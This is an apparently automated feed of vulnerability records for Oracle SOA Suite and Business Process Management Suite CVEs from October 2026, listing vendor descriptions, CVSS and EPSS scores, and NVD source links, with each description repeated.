Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 9.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91218).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91218&date=2026-10-25).
Sources:
NVD CVE-2026-91218: https://nvd.nist.gov/vuln/detail/CVE-2026-91218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91218&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91219
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91219).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91219&date=2026-10-25).
Sources:
NVD CVE-2026-91219: https://nvd.nist.gov/vuln/detail/CVE-2026-91219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91219&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91221
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91221).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91221&date=2026-10-25).
Sources:
NVD CVE-2026-91221: https://nvd.nist.gov/vuln/detail/CVE-2026-91221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91221&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).
https://kevwire.com/record/CVE-2026-91222
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)). (Oct 20, 2026).
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91222).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91222&date=2026-10-25).
Sources:
NVD CVE-2026-91222: https://nvd.nist.gov/vuln/detail/CVE-2026-91222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91222&date=2026-10-25
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91223
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91223).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91223&date=2026-10-25).
Sources:
NVD CVE-2026-91223: https://nvd.nist.gov/vuln/detail/CVE-2026-91223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91223&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91224
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91224).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91224&date=2026-10-25).
Sources:
NVD CVE-2026-91224: https://nvd.nist.gov/vuln/detail/CVE-2026-91224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91224&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).
https://kevwire.com/record/CVE-2026-91225
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91225).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91225&date=2026-10-25).
Sources:
NVD CVE-2026-91225: https://nvd.nist.gov/vuln/detail/CVE-2026-91225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91225&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91226
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91226).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91226&date=2026-10-25).
Sources:
NVD CVE-2026-91226: https://nvd.nist.gov/vuln/detail/CVE-2026-91226
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91226&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91227
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91227).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91227&date=2026-10-25).
Sources:
NVD CVE-2026-91227: https://nvd.nist.gov/vuln/detail/CVE-2026-91227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91227&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91228
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91228).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91228&date=2026-10-25).
Sources:
NVD CVE-2026-91228: https://nvd.nist.gov/vuln/detail/CVE-2026-91228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91228&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91229
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91229).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91229&date=2026-10-25).
Sources:
NVD CVE-2026-91229: https://nvd.nist.gov/vuln/detail/CVE-2026-91229
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91229&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91230
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).
CVSS 9.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91230).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91230&date=2026-10-25).
Sources:
NVD CVE-2026-91230: https://nvd.nist.gov/vuln/detail/CVE-2026-91230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91230&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).
https://kevwire.com/record/CVE-2026-91231
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91231).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91231&date=2026-10-25).
Sources:
NVD CVE-2026-91231: https://nvd.nist.gov/vuln/detail/CVE-2026-91231
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91231&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91232
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91232).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91232&date=2026-10-25).
Sources:
NVD CVE-2026-91232: https://nvd.nist.gov/vuln/detail/CVE-2026-91232
